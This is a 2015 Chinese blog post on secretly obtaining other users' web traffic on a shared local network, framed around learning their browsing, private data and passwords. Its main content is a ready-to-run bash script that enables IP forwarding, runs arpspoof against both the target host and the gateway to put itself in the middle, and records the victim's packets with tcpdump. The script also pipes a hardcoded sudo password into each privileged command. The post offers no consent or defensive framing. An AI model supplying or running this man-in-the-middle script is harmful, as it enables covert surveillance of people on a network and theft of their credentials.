获知局域网内他人的上网数据和行为

  • 作者:邹祁峰
  • 邮箱:[email protected]
  • 博客:http://blog.csdn.net/qifengzou
  • 日期:2015.12.16
  • 转载请注明来自"祁峰"的CSDN博客

  由于互联网的快速发展,人们的生活、休闲、工作已经越来越离不开网络。在使用网络网络的过程中,必然会产生网络数据。如果能拿到他人上网的数据,便可从中获取他人的网络行为、生活隐私、甚至账户密码。当前移动、联通、电信等运营商会在核心网络设备上抓取用户的上网数据包,并从中分析用户的行为和习惯,再挖掘潜在的商业价值。那么如果要想获知局域网内他人的网络数据时,那应该怎么做呢?

  现假如D和H处在同一局域网,G为该局域网的网关。如果此时H想知道D正在浏览什么网页,则H可通过执行以下脚本的方式获取D上网的数据,并从中获知D的当前上网行为:[注:脚本第一个参数为输出文件名]

#!/bin/bash 

PASSWD="111111"                       # 执行sudo命令的密码
NET_NAME="wlan0"                      # 网卡设备名
TARIP="10.58.93.92"                   # 目标主机IP
GATE_WAY="10.58.94.1"                 # 网管IP地址

# 开启IP转发功能
echo $PASSWD | sudo -S sh -c "echo 1 > /proc/sys/net/ipv4/ip_forward"

# 关闭其他干扰进程
echo $PASSWD | sudo -S pkill arpspoof
echo $PASSWD | sudo -S pkill tcpdump

# 参数1为网络包的存储文件名, 不能省略!
if [ $# -ne 1 ]; then
   echo "Please input save pcap file name" 
   exit -1
fi

# 欺骗目标主机,本机是网关
echo $PASSWD | sudo -S arpspoof -i ${NET_NAME} -t ${TARIP} ${GATE_WAY} &

# 欺骗网关,本机是目标主机
echo $PASSWD | sudo -S arpspoof -i ${NET_NAME} -t ${GATE_WAY} ${TARIP} &

# 经过以上欺骗动作,从目标主机发出的网络包都会经过本机;而从网关发往目标主机的网络包也会经过主机
# 因此,此时便可通过工具tcpdump抓取指定网卡、指定IP的网络包
echo $PASSWD | sudo -S tcpdump -i wlan0 -p -s0 host ${TARIP} and not arp  -w $1.pcap &

代码1 抓包脚本


  该脚本执行后,其抓包的结果如下:

获知局域网内他人的上网数据和行为_第1张图片

图1 抓包效果图

你可能感兴趣的:(获知局域网内他人的上网数据和行为)